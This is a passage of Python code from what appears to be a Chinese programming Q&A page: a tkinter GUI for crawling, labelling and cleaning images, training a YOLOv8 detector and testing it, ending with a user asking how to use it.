1 else: if FileNum < FileLength - 1: FileNum += 1 fstr = pathname + '/' + filelist[FileNum] I = cv2.imread(fstr) imgsize = np.shape(I) # 图像尺寸大于1024,进行适当缩放 if imgsize[0] > 1024 or imgsize[1] > 1024: sv = 1024.0 / max(imgsize[0], imgsize[1]) img = cv2.resize(I, (int(sv * imgsize[1]), int(sv * imgsize[0]))) else: img = I yimg=img.copy() img=cv2.resize(img,(WW,WH)) img=cv2.cvtColor(img,cv2.COLOR_BGR2RGB) fig.clear() ax = fig.add_subplot(1, 1, 1, position=[0, 0, 1, 1]) ax.axis("off") ax.imshow(img) draw_set.draw() OutputFrame.update() elif Mflag==2: if event.button=="up" : if ObjectCode > 0: ObjectCode -= 1 else: if ObjectCode < ObjectNum - 1: ObjectCode += 1 drawChinese(newimg, point1, ObjectCode) return #ObjectName =['人','电脑','鼠标', '键盘', '订书机', '手机', '书', '台灯','杯子','笔'] #ObjectName = ['行人','汽车', '树木', '摩托', '交通灯', '狗', '路灯', '停车场','自行车','鲜花'] ObjectNum=len(ObjectName) def drawChinese(img, point, num): global ObjectName image = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) # 将OpenCV图像转换为PIL图像 pil_image = Image.fromarray(image) # 准备写中文的工具 draw = ImageDraw.Draw(pil_image) font = ImageFont.truetype('simsun.ttc', 30) # 'simsun.ttc' 是常见的中文字体 # 写入中文文本 draw.text(point, ObjectName[num], font=font, fill=(255, 0, 0)) # 将PIL图像转换回OpenCV图像 img = cv2.cvtColor(np.array(pil_image), cv2.COLOR_RGB2BGR) ax.imshow(img) draw_set.draw() OutputFrame.update() return #crop 剪裁窗口的鼠标响应 #cv2窗口双击鼠标左键,用剪裁出来的 def on_cv_mouse2(event, x, y, flags, param): global crop,filelist,FileLength if event == cv2.EVENT_RBUTTONDBLCLK: file1 = file.asksaveasfilename(title='保存文件名字', initialdir="\image", filetypes=[('jpg文件', '*.jpg')]) if file1 == "": return cv2.imwrite(file1+'.jpg', crop) cv2.destroyWindow("crop") filelist = os.listdir(pathname) FileLength = len(filelist) elif event == cv2.EVENT_LBUTTONDBLCLK: fstr = pathname + '/' + filelist[FileNum] cv2.imwrite(fstr, crop) cv2.destroyWindow("crop") ######################################### def Yolov8Detect(): global ObjectName,model8 cap = cv2.VideoCapture('MyVideo.mp4') #cap.open(0, cv2.CAP_DSHOW) #model8.load(r"E:\LhxAgent\runs\detect\train35\weights\best.pt") cv2.waitKey(10) while True: ret, frame = cap.read() # 从本地视频通道采集一帧图像 img = cv2.resize(frame, (640, 480)) # 改变帧的长和宽为1024X800 results = model8.predict(img, show=False, save=False, verbose=False) boxes = results[0].boxes.xywh.cpu() indx = results[0].boxes.cls conf = results[0].boxes.conf class_names = [ObjectName[int(cls)] for cls in indx] vconf = [float(c) for c in conf] for box, name, score in zip(boxes, class_names,vconf): x_center, y_center, width, height = box.tolist() x1 = int(x_center - width / 2) y1 = int(y_center - height / 2) width = int(width) height = int(height) cv2.rectangle(img, (x1, y1), (x1 + width, y1 + height), (255, 0, 0), 2) pil_image = Image.fromarray(img) draw = ImageDraw.Draw(pil_image) font = ImageFont.truetype('simsun.ttc', 30) # 'simsun.ttc' 是常见的中文字体 # 写入中文文本 str1 = name + " " + str(score)[0:4] draw.text((x1, y1), str1, font=font, fill=(255, 0, 0)) # 将PIL图像转换回OpenCV图像 #img = cv2.cvtColor(np.array(pil_image), cv2.COLOR_RGB2BGR) img=np.array(pil_image) cv2.imshow("img", img) k = cv2.waitKey(10) & 0xff if k == 27: # press 'ESC' to quit break cap.release() cv2.destroyAllWindows() return def Yolov8SingleDetect(): global GI, ObjectName, model8 #results = model8.predict(GI, show=False, save=False, verbose=False) results = model8.predict(GI, show=False, save=False, verbose=False) img =GI # results[0].plot() boxes = results[0].boxes.xywh.cpu() #img = results[0].plot() #获得检测目标框的类别-是张量 indx=results[0].boxes.cls conf = results[0].boxes.conf class_names = [ObjectName[int(cls)] for cls in indx] vconf = [float(c) for c in conf] print(vconf) #print("result=",class_names) for box, idx,score in zip(boxes, class_names,vconf): x_center, y_center, width, height = box.tolist() x1 = int(x_center - width / 2) y1 = int(y_center - height / 2) width=int(width) height=int(height) cv2.imshow("img",GI) #print(name) cv2.rectangle(img, (x1, y1), (x1 + width, y1 + height), (255, 0, 0), 2) pil_image = Image.fromarray(img) draw = ImageDraw.Draw(pil_image) font = ImageFont.truetype('simsun.ttc', 30) # 'simsun.ttc' 是常见的中文字体 # 写入中文文本 str1=idx+" "+str(score)[0:4] draw.text((x1, y1), str1, font=font, fill=(255, 0, 0)) # 将PIL图像转换回OpenCV图像 img =np.array(pil_image)# cv2.cvtColor(np.array(pil_image), cv2.COLOR_RGB2BGR) cv2.imshow("img", img) return def TrainYoloV8(): global model8 model8 = YOLO("yolov8n.yaml") # build a new model from scratch model8 = YOLO("yolov8n.pt") model8.train(data="lihexi1.yaml", epochs=100, device="CPU", save=True) return def LoadModel(): global model8 #model8=YOLO(r'E:\LhxAgent\runs\detect\train2\weights\best.pt') model8 = YOLO(r'E:\LhxAgent\runs\detect\train2\weights\yolov8n.pt') return #========函数区结束=========== #=========菜单区============= menubar = tk.Menu(MainWin) # file menu fmenu = tk.Menu(menubar) fmenu.add_command(label='装入图像', command=LoadImage) fmenu.add_command(label='保存图像', command=SaveImage) fmenu.add_command(label='批量保存', command=callback1) fmenu.add_command(label='备用', command=callback1) # Image processing menu pmenu = tk.Menu(menubar) pmenu.add_command(label='开始爬取', command=StartCrawling) pmenu.add_command(label='暂停爬取', command=Suspending) pmenu.add_command(label='继续爬取', command=Resuming) pmenu.add_command(label='停止爬取', command=StopCrawling) # machine learning qmenu = tk.Menu(menubar) qmenu.add_command(label='图像清洗', command=CleanImage) qmenu.add_command(label='图像浏览', command=ScanImage) qmenu.add_command(label='批量换名', command=RenameImage) qmenu.add_command(label='转换成NPZ', command=NPZfile) lmenu = tk.Menu(menubar) lmenu.add_command(label='图像浏览', command=ScanImage) lmenu.add_command(label='标注类别名称', command=LoadClassName) lmenu.add_command(label='批量标注', command=LabelBatch) lmenu.add_command(label='标注结束', command=LabelEnd) lmenu.add_command(label='保存标注', command=LabelSave) tmenu = tk.Menu(menubar) tmenu.add_command(label='训练配置', command=TrainSetting) tmenu.add_command(label='训练启动', command=TrainStarting) tmenu.add_command(label='结果指标', command=TrainResultShow) tmenu.add_command(label='保存结果', command=SaveTrainResult) emenu = tk.Menu(menubar) emenu.add_command(label='打开图像', command=SelectImage) emenu.add_command(label='单幅测试', command=SingleImageTest) emenu.add_command(label='跟踪测试', command=ObjectTracking) emenu.add_command(label='保存测试结果', command=SaveTestResult) hmenu = tk.Menu(menubar) hmenu.add_command(label='图像爬取操作说明', command=HelpPicCrawl) hmenu.add_command(label='图像区域标注说明', command=HelpBatchAnn) hmenu.add_command(label='批量标注说明', command=HelpBatchAnn) hmenu.add_command(label='模型训练说明', command=callback1) menubar.add_cascade(label="文件操作", menu=fmenu) menubar.add_cascade(label="目标图像爬取", menu=pmenu) menubar.add_cascade(label="目标图像清洗", menu=qmenu) menubar.add_cascade(label="目标图像标注", menu=lmenu) menubar.add_cascade(label="目标图像训练", menu=tmenu) menubar.add_cascade(label="目标图像测试", menu=emenu) menubar.add_cascade(label="操作说明", menu=hmenu) MainWin.config(menu=menubar) #设置4个Frame 区, w1=600 h1=500 WW=550 WH=400 InputFrame =tk.Frame(MainWin,height =h1, width=w1) OutputFrame =tk.Frame(MainWin,height =h1, width=w1) butFrame = tk.Frame(MainWin,height=h1, width=w1) DataFrame = tk.Frame(MainWin,height=h1, width=w1) InputFrame.grid(row=0,column=0) OutputFrame.grid(row=0,column=1) butFrame.grid(row=1,column=0) DataFrame.grid(row=1,column=1,sticky=tk.N) #InputFrame Lab1=tk.Label(InputFrame,text='在此输入爬取图片主题词:',font=('Arial', 12),width=20, height=1) Lab1.grid(row=0,column=0,padx=10,pady=20) KeyStr=tk.StringVar() entry1=tk.Entry(InputFrame,font=('Arial', 12), width=20,textvariable=KeyStr) entry1.grid(row=0,column=1) KeyStr.set('') fig2 = plt.Figure(figsize=(WW/100, WH/100), dpi=100) # 设置空画布窗口,figsize为大小(英寸),dpi为分辨率 draw_set2 = FigureCanvasTkAgg(fig2, master=InputFrame) # 将空画布设置在tkinter的输出容器OutputFrame上 draw_set2.get_tk_widget().grid(row=1, column=0,columnspan=2) ax2 = fig2.add_subplot(1, 1, 1, position=[0, 0, 1, 1]) logo=cv2.imread('ImageFile/AnnLogo.jpg') logo=cv2.cvtColor(logo,cv2.COLOR_BGR2RGB) ax2.axis("off") ax2.imshow(logo) draw_set2.draw() #LogoImage = tk.PhotoImage(file='ImageFile/AnnLogo.png') #Lab2=tk.Label(InputFrame, image=LogoImage) #Lab2.grid(row=1,column=0,columnspan=2,padx=40) ########输出窗口 Lab3 = tk.Label(OutputFrame, text='输出窗口', font=('Arial', 14), width=16, height=1) Lab3.grid(row=0, column=0, pady=20) fig = plt.Figure(figsize=(WW/100, WH/100), dpi=100) # 设置空画布窗口,figsize为大小(英寸),dpi为分辨率 draw_set = FigureCanvasTkAgg(fig, master=OutputFrame) # 将空画布设置在tkinter的输出容器OutputFrame上 draw_set.get_tk_widget().grid(row=1, column=0) ax = fig.add_subplot(1, 1, 1, position=[0, 0, 1, 1]) draw_set.draw() ############################################ Target=[('0',0),('1',1),('2',2),('3',3),('4',4),('5',5),('6',6),('7',7),('8',8),('9',9)] TargetVector=np.zeros(10) TargetV=tk.IntVar() Target_startx=50 Target_starty=20 for txt,num in Target: rbut=tk.Radiobutton(butFrame, text=txt, value=num,font=('Arial', 12), width=3, height=1,command=SetTarget, variable=TargetV) rbut.place(x=Target_startx + num * 50, y=Target_starty) but1=tk.Button(butFrame, text='开始爬取', font=('Arial', 12), width=10, height=1,command=StartCrawling) but2=tk.Button(butFrame, text='停止爬取', font=('Arial', 12), width=10, height=1,command=StopCrawling) but3=tk.Button(butFrame, text='浏览图片', font=('Arial', 12), width=10, height=1,command=ScanImage) but4=tk.Button(butFrame, text='模型训练', font=('Arial', 12), width=10, height=1, command=TrainStarting) but5=tk.Button(butFrame, text='装入模型', font=('Arial', 12), width=10, height=1, command=LoadModel) but6=tk.Button(butFrame, text='方框标注', font=('Arial', 12), width=10, height=1, command=LabelBatch) but7=tk.Button(butFrame, text='结束标注', font=('Arial', 12), width=10, height=1, command=LabelEnd) but8=tk.Button(butFrame, text='标注存盘', font=('Arial', 12), width=10, height=1, command=LabelSave) but9=tk.Button(butFrame, text='目标识别', font=('Arial', 12), width=10, height=1, command=Yolov8Detect) but1.place(x=50,y=80) but2.place(x=250,y=80) but3.place(x=450,y=80) but4.place(x=50,y=120) but5.place(x=250,y=120) but6.place(x=450,y=120) but7.place(x=50,y=160) but8.place(x=250,y=160) but9.place(x=450,y=160) but7.config(state=tk.DISABLED) but8.config(state=tk.DISABLED) #Data Frame Lab4=tk.Label(DataFrame,text='网页计数:',font=('Arial', 12),width=10, height=1) Lab4.grid(row=0,column=0,pady=40) Lab5=tk.Label(DataFrame,text='文件名称:',font=('Arial', 12),width=10, height=1) Lab5.grid(row=1,column=0) Lab6=tk.Label(DataFrame,text='下载地址',font=('Arial', 12),width=10, height=1) Lab6.grid(row=2,column=0,pady=40) CountStr=tk.StringVar() entry4=tk.Entry(DataFrame,font=('Arial', 12),width=15, textvariable=CountStr) entry4.grid(row=0,column=1,pady=40) CountStr.set("0") FileStr=tk.StringVar() entry5=tk.Entry(DataFrame,font=('Arial', 12), width=30,textvariable=FileStr) entry5.grid(row=1,column=1) FileStr.set("") DownAddrStr=tk.StringVar() entry6=tk.Entry(DataFrame,font=('Arial', 12), width=50,textvariable=DownAddrStr) entry6.grid(row=2,column=1,pady=40) #Thd1=thread.Thread(target=CrawlPicture,args=(300,500,)) #Thd1.setDaemon(True) #Thd1.start() MainWin.mainloop()怎么使用
最新发布
06-10
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值